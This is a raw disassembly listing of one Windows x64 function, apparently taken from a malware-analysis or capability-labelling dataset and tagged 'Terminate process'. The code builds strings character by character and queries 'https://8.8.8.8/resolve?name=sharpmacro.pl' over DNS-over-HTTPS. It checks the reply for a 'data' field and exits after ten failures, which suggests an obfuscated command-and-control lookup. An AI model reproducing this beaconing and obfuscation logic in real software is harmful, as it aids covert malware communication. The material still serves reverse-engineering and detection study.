Function at 0x14007ae70
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x1400ee040]
xor rax, rsp
mov qword [rbp + 0x138], rax
mov qword [rsp + 0x70], rdx
xor esi, esi
mov r12d, esi
mov dword [rsp + 0x44], esi
movabs r13, 0x7fffffffffffffff
mov qword [rsp + 0x48], r13
xorps xmm0, xmm0
mov ebx, 0x7370
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x38], rsi
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], send
movzx eax, word [str.0123456789F]
mov byte [rbp - 0x48], al
mov byte [rbp - 0x47], 0
mov eax, dword [0x1401b7f38]
and eax, 0x80000001
jge 0x14007af0b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14007af1f
lea rdx, [0x1400d58e4]
lea rcx, [rbp - 0x48]
call fcn.1400aa270
mov eax, dword [0x1401b7f38]
and eax, 0x80000001
jge 0x14007af33
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x14007af48
lea rdx, [0x1400d58e8]
lea rcx, [rbp - 0x48]
call fcn.1400aa270
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], 2
mov qword [rbp + 0x30], send
mov word [rbp + 0x18], bx
mov byte [rbp + 0x1a], 0
mov r9d, 3
lea r8, [0x1400d58ec]
lea rcx, [rbp + 0x18]
call fcn.14007c420
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
bts r12d, 9
lea rdx, [rbp - 0x68]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x78]
call fcn.1400aa1a0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14007b021
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b01b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bff8
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14007b05c
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b057
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007bfff
call fcn.1400b7700
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], 3
mov qword [rbp + 0x90], send
mov eax, dword [0x1400d58f0]
mov word [rbp + 0x78], ax
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rbp + 0x7a], al
mov byte [rbp + 0x7b], 0
mov r9d, 2
lea r8, [0x1400d58f4]
lea rcx, [rbp + 0x78]
call fcn.14007c420
movups xmm1, xmmword [rax]
movups xmmword [rbp - 0x68], xmm1
movups xmm2, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm2
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
bts r12d, 0xa
mov dword [rsp + 0x44], r12d
lea rdx, [rbp - 0x68]
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rsi, xmm0
cmp rsi, 0xf
seta r14b
movq rbx, xmm1
cmova rdx, rbx
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rcx, qword [rsp + 0x78]
movq rax, xmm2
mov r8, qword [rbp - 0x78]
cmp r8, rax
jne 0x14007b11e
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007b11e
mov dil, 1
jmp 0x14007b121
xor dil, dil
test r14b, r14b
je 0x14007b158
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007b14f
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c006
mov rcx, rbx
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14007b196
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c00d
call fcn.1400b7700
test dil, dil
je 0x14007b1ac
lea rdx, [0x1400d58f8]
lea rcx, [rsp + 0x78]
call fcn.1400aa180
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xor r14d, r14d
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], send
mov byte [rbp + 0x38], r14b
mov r15d, r14d
nop dword [rax]
test r15d, r15d
je 0x14007b259
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
cmp rdx, rcx
jae 0x14007b205
lea rax, [rdx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rdx], 0x2e
jmp 0x14007b212
mov r9b, 0x2e
lea rcx, [rsp + 0x78]
call fcn.1400af030
cmp r15d, 1
je 0x14007b259
lea rax, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rax, qword [rbp - 0x48]
movzx r9d, byte [rax]
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
cmp rcx, rdx
jae 0x14007b288
lea rax, [rcx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x78]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14007b292
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
cmp rdx, rcx
jae 0x14007b285
lea rax, [rdx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rdx], 0x38
jmp 0x14007b292
mov r9b, 0x38
lea rcx, [rsp + 0x78]
call fcn.1400af030
cmp r15d, 3
jne 0x14007bbfc
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
cmp rcx, rdx
jae 0x14007b2c8
lea rax, [rcx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rcx], 0x2f
jmp 0x14007b2d5
mov r9b, 0x2f
lea rcx, [rsp + 0x78]
call fcn.1400af030
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov r8d, 3
lea rdx, [0x1400d58fc]
lea rcx, [rbp - 0x28]
call fcn.1400aa1a0
lea rcx, [rbp - 0x28]
mov rdi, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x10]
cmp rsi, 0xf
cmova rcx, rdi
mov rbx, qword [rbp - 0x18]
cmp rbx, 3
jne 0x14007b474
mov r8, rbx
lea rdx, [0x1400d58fc]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007b474
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], 5
mov qword [rbp + 0xb0], send
mov eax, dword [str.olve_]
mov dword [rbp + 0x98], eax
movzx eax, byte [0x1400d5904]
mov byte [rbp + 0x9c], al
mov byte [rbp + 0x9d], 0
lea r8, [rbp - 0x28]
cmp rsi, 0xf
cmova r8, rdi
mov r9, rbx
lea rcx, [rbp + 0x98]
call fcn.14007c420
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], 0
bts r12d, 8
lea rdx, [rbp + 0x118]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x78]
call fcn.1400aa1a0
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x14007b433
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b42d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c014
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x14007b474
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b46f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c01b
call fcn.1400b7700
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], 4
mov qword [rbp + 0x110], send
mov dword [rbp + 0xf8], 0x656d616e
mov byte [rbp + 0xfc], 0
lea rdx, [rbp + 0xf8]
mov rcx, r14
lea r9, [0x1400d5908]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x14007b4d9
cmp rcx, 4
jne 0x14007b4c0
mov eax, r14d
jmp 0x14007b4de
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14007b4f3
lea r8d, [rax + 4]
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.1400aa1a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], 2
mov qword [rbp - 0x50], send
mov eax, 0x733d
mov word [rbp - 0x68], ax
mov byte [rbp - 0x66], 0
mov qword [rbp - 0x58], 3
lea rax, [rbp - 0x68]
mov word [rax + 2], 0x68
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
cmp rcx, rdx
jae 0x14007b553
lea rax, [rcx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x68]
mov word [rax + rcx], 0x61
jmp 0x14007b55f
mov r9b, 0x61
lea rcx, [rbp - 0x68]
call fcn.1400af030
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
cmp rcx, rdx
jae 0x14007b589
lea rax, [rcx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x68]
mov word [rax + rcx], WSACleanup
jmp 0x14007b595
mov r9b, WSACleanup
lea rcx, [rbp - 0x68]
call fcn.1400af030
lea rax, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
seta r10b
mov r8, qword [rbp - 0x68]
cmova rax, r8
mov rdx, qword [rbp - 0x58]
movzx r9d, byte [rdx + rax - 1]
sub r9b, 2
cmp rdx, qword [rbp - 0x50]
jae 0x14007b5dc
lea rax, [rdx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
test r10b, r10b
cmovne rax, r8
mov byte [rax + rdx], r9b
mov byte [rax + rdx + 1], 0
jmp 0x14007b5e5
lea rcx, [rbp - 0x68]
call fcn.1400af030
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
cmp rcx, rdx
jae 0x14007b60f
lea rax, [rcx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x68]
mov word [rax + rcx], WSAGetLastError
jmp 0x14007b61b
mov r9b, WSAGetLastError
lea rcx, [rbp - 0x68]
call fcn.1400af030
lea rax, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
seta r10b
mov r8, qword [rbp - 0x68]
cmova rax, r8
mov rdx, qword [rbp - 0x58]
movzx r9d, byte [rax + rdx - 4]
cmp rdx, qword [rbp - 0x50]
jae 0x14007b65e
lea rax, [rdx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
test r10b, r10b
cmovne rax, r8
mov byte [rax + rdx], r9b
mov byte [rax + rdx + 1], 0
jmp 0x14007b667
lea rcx, [rbp - 0x68]
call fcn.1400af030
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rsp + 0x78]
call fcn.1400aa1a0
mov rax, r13
mov rcx, qword [rbp - 0x38]
sub rax, rcx
cmp rax, 0xc
jb 0x14007c39d
lea rax, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rax, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], send
lea r9, str.https:__8.8.
lea rcx, [rbp + 0xb8]
call fcn.1400aa320
nop
mov r8d, socket
lea rdx, str._resolve_namesharpma
lea rcx, [rbp + 0xb8]
call fcn.1400aa1a0
movups xmm1, xmmword [rax]
movups xmmword [rbp + 0x58], xmm1
movups xmm2, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm2
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], 0
lea rdx, [rbp + 0x58]
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rsi, xmm0
cmp rsi, 0xf
seta r14b
movq rbx, xmm1
cmova rdx, rbx
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rcx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
movq rax, xmm2
cmp r8, rax
jne 0x14007b752
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007b752
mov dil, 1
jmp 0x14007b755
xor dil, dil
test r14b, r14b
je 0x14007b78c
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007b783
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c022
mov rcx, rbx
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x14007b7cd
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b7c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c029
call fcn.1400b7700
test dil, dil
je 0x14007b7e9
mov r8d, 6
lea rdx, str.cro.pl
lea rcx, [rsp + 0x78]
call fcn.1400aa1a0
mov rax, r13
mov rcx, qword [rbp - 0x38]
sub rax, rcx
cmp rax, 0xc
jb 0x14007c397
lea rax, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rax, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], send
lea r9, str.https:__8.8.
lea rcx, [rbp + 0xd8]
call fcn.1400aa320
nop
mov r8d, 0x1b
lea rdx, str._resolve_namesharpmacro.pl
lea rcx, [rbp + 0xd8]
call fcn.1400aa1a0
movups xmm1, xmmword [rax]
movups xmmword [rbp + 0x58], xmm1
movups xmm2, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm2
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], send
mov byte [rax], 0
or r12d, 0xf
mov dword [rsp + 0x44], r12d
lea rdx, [rbp + 0x58]
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rsi, xmm0
cmp rsi, 0xf
seta r14b
movq rbx, xmm1
cmova rdx, rbx
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rcx, qword [rsp + 0x78]
movq rax, xmm2
mov r8, qword [rbp - 0x78]
cmp r8, rax
jne 0x14007b8c5
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007b8c5
xor dil, dil
jmp 0x14007b8c8
mov dil, 1
test r14b, r14b
je 0x14007b8ff
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007b8f6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c030
mov rcx, rbx
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x14007b940
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b93b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c037
call fcn.1400b7700
test dil, dil
je 0x14007b97d
mov eax, dword [0x1401b7f38]
inc eax
mov dword [0x1401b7f38], eax
cmp eax, 0xa
jle 0x14007bbb3
lea rdx, str._ERROR__1__Exiting_with_code_0_
lea rcx, [rbp + 0x58]
call fcn.14006a430
mov rcx, rax
call fcn.14006af60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x70]
cmp rax, rcx
je 0x14007b9a8
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
mov rcx, rax
call fcn.1400ab320
mov rcx, qword [0x1401b7f70]
add rcx, 1
mov qword [0x1401b7f70], rcx
lea r9, [rbp + 0x8d]
movabs r13, 0xcccccccccccccccd
jns 0x14007ba10
neg rcx
dec r9
mov rax, r13
mul rcx
shr rdx, 3
movzx eax, dl
shl al, 2
lea r8d, [rax + rdx]
add r8b, r8b
sub cl, r8b
add cl, 0x30
mov byte [r9], cl
mov rcx, rdx
test rdx, rdx
jne 0x14007b9d0
dec r9
mov byte [r9], 0x2d
jmp 0x14007ba3b
dec r9
mov rax, r13
mul rcx
shr rdx, 3
movzx eax, dl
shl al, 2
lea r8d, [rax + rdx]
add r8b, r8b
sub cl, r8b
add cl, 0x30
mov byte [r9], cl
mov rcx, rdx
test rdx, rdx
jne 0x14007ba10
movabs r13, 0x7fffffffffffffff
lea r8, [rbp + 0x8d]
mov rdx, r9
lea rcx, [rbp + 0xb8]
call fcn.1400afb90
nop
mov rax, r13
mov rcx, qword [rbp - 0x78]
sub rax, rcx
cmp rax, 0xa
jb 0x14007c391
lea r9, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 0xa
lea rax, str.abcdefgh
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xd8]
call fcn.1400aa320
nop
lea r9, [rbp + 0xb8]
lea r8, [rbp + 0xd8]
lea rcx, [rbp + 0x58]
call fcn.1400af880
or r12d, 0xf0
mov dword [rsp + 0x44], r12d
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x18]
call fcn.14006dc00
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x14007bb1a
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bb14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c03e
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x14007bb5b
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bb56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c045
call fcn.1400b7700
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x28]
lea rcx, [rbp + 0x38]
call fcn.1400ab320
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14007bbb3
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bbad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c04c
call fcn.1400b7700
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14007bbef
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bbe9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c053
call fcn.1400b7700
nop
mov rax, qword [rbp - 0x10]
cmp rax, 0xf
ja 0x14007bc0b
xor r14d, r14d
inc r15d
cmp r15d, 4
jl 0x14007b1d0
jmp 0x14007bc3d
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bc38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c05a
call fcn.1400b7700
lea rcx, [rbp + 0x38]
mov rbx, qword [rbp + 0x50]
cmp rbx, 0xf
seta r8b
mov byte [rsp + 0x40], r8b
mov r13, qword [rbp + 0x38]
cmova rcx, r13
mov r14, qword [rbp + 0x48]
test r14, r14
jne 0x14007bc80
mov r8, r14
lea rdx, [0x1400c5f1f]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14007bf25
movzx r8d, byte [rsp + 0x40]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xor r12d, r12d
mov r15d, r12d
mov qword [rsp + 0x60], r12
movups xmmword [rbp - 8], xmm0
mov ecx, r12d
mov qword [rbp + 8], rcx
mov edx, send
mov qword [rbp + 0x10], rdx
mov byte [rbp - 8], cl
mov esi, r12d
mov ebx, r12d
mov rdi, qword [rsp + 0x58]
test r14, r14
je 0x14007bd7d
nop
lea rax, [rbp + 0x38]
test r8b, r8b
cmovne rax, r13
cmp byte [rax + rbx], 0x22
jne 0x14007bd1f
cmp rdi, r15
je 0x14007bced
lea rdx, [rbp - 8]
mov rcx, rdi
call fcn.14006f450
add rdi, 0x20
mov qword [rsp + 0x58], rdi
jmp 0x14007bd08
lea r8, [rbp - 8]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400b27d0
mov r15, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
lea rax, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rax, qword [rbp - 8]
mov qword [rbp + 8], r12
mov byte [rax], 0
jmp 0x14007bd5d
lea rax, [rbp + 0x38]
test r8b, r8b
cmovne rax, r13
movzx r9d, byte [rax + rbx]
cmp rcx, rdx
jae 0x14007bd54
lea rax, [rcx + 1]
mov qword [rbp + 8], rax
lea rax, [rbp - 8]
cmp rdx, 0xf
cmova rax, qword [rbp - 8]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14007bd63
lea rcx, [rbp - 8]
call fcn.1400af030
movzx r8d, byte [rsp + 0x40]
inc esi
inc rbx
movsxd rax, esi
cmp rax, r14
jae 0x14007bd7d
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
jmp 0x14007bcc0
cmp rdi, r15
je 0x14007bd99
lea rdx, [rbp - 8]
mov rcx, rdi
call fcn.14006f450
add rdi, 0x20
mov qword [rsp + 0x58], rdi
jmp 0x14007bdb4
lea r8, [rbp - 8]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400b27d0
mov r15, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
xor esi, esi
mov r9d, esi
mov r10, rdi
mov r12, qword [rsp + 0x50]
sub r10, r12
sar r10, 5
test r10, r10
je 0x14007be2c
mov r8, r12
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x14007bddd
mov rdx, qword [r8]
cmp qword [r8 + 0x10], 4
jne 0x14007be11
mov rcx, rsi
lea r11, str.data
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x14007be08
cmp rcx, 4
jne 0x14007bdf0
mov eax, esi
jmp 0x14007be0d
sbb eax, eax
or eax, 1
test eax, eax
je 0x14007be22
inc r9d
add r8, 0x20
movsxd rax, r9d
cmp rax, r10
jb 0x14007bdd0
jmp 0x14007be2c
cmp r9d, 0xffffffff
jne 0x14007c061
mov eax, dword [0x1401b7f38]
inc eax
mov dword [0x1401b7f38], eax
cmp eax, 0xa
jg 0x14007c364
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x14007be7f
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007be79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c341
call fcn.1400b7700
nop
test r12, r12
je 0x14007bf1a
mov rbx, r12
cmp r12, rdi
je 0x14007bee2
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14007beca
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14007bec5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007c348
mov rcx, r8
call fcn.1400b7700
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rdi
jne 0x14007be90
sub r15, r12
and r15, 0xffffffffffffffe0
mov rax, r12
cmp r15, 0x1000
jb 0x14007bf0f
add r15, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c348
mov rdx, r15
mov rcx, r12
call fcn.1400b7700
mov rbx, qword [rbp + 0x50]
mov r12d, dword [rsp + 0x44]
jmp 0x14007bf27
xor esi, esi
cmp byte [rsp + 0x40], 0
je 0x14007bf60
lea rdx, [rbx + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14007bf57
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c34f
mov rcx, r13
call fcn.1400b7700
nop
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xf
jbe 0x14007bf9d
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bf98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c356
call fcn.1400b7700
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14007bfe9
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bfe4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c35d
call fcn.1400b7700
movabs r13, 0x7fffffffffffffff
jmp 0x14007aec5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movsxd rbx, r9d
add rbx, 2
